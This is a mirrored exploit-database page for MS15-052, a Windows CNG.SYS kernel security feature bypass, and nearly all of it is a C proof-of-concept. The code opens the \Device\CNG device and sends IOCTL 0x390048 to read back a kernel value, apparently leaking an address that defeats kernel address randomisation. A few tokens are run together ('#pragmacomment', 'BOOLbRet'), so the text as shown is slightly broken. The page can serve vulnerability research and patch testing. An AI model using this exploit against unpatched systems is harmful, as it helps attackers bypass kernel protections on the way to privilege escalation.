Microsoft Windows – ‘CNG.SYS’ Kernel Security Feature Bypass (MS15-052) - 体验盒子

作者： 4B5F5F4B

日期： 2015-05-18

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/37052/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

// Source: http://www.binvul.com/viewthread.php?tid=508

// Source: https://twitter.com/NTarakanov/status/598370525132423168

#include <windows.h>

#include <winternl.h>

#include <stdio.h>

#pragmacomment(lib, "ntdll.lib")

int main(int argc, CHAR* argv[]) {

typedef NTSTATUS(__stdcall *NT_OPEN_FILE)(OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions);

NT_OPEN_FILE NtOpenFileStruct;

PVOID Info;

HMODULE hModule = LoadLibrary(("ntdll.dll"));

NtOpenFileStruct = (NT_OPEN_FILE)GetProcAddress(hModule, "NtOpenFile");

if(NtOpenFileStruct == NULL) {

exit(-1);

}

UNICODE_STRING filename;

RtlInitUnicodeString(&filename, L"\\Device\\CNG");

OBJECT_ATTRIBUTES obja;

obja.Attributes=0x40;

obja.ObjectName = &filename;

obja.Length=0x18;

obja.RootDirectory=NULL;

obja.SecurityDescriptor=NULL;

obja.SecurityQualityOfService=NULL;

IO_STATUS_BLOCK iostatusblock;

HANDLE hCNG = NULL;

NTSTATUS stat = NtOpenFileStruct(&hCNG, 0x100001, &obja, &iostatusblock, 7, 0x20);

if(NT_SUCCESS(stat)) {

printf("File successfully opened.\n");

}

else {

printf("File could not be opened.\n");

return -1;

}

DWORD dwBuffer = 0;

DWORD dwCnt = 0;

BOOLbRet = DeviceIoControl((HANDLE)hCNG, 0x390048, &dwBuffer, 4, &dwBuffer, 4, &dwCnt, NULL);

if (FALSE == bRet)

{

printf("[*]Send IOCTL fail!\n");

printf("[*]Error Code:%d\n", GetLastError());

}

else

{

printf("[*]0x%08x\n", dwBuffer);

}

CloseHandle(hCNG);

getchar();

return 0;

}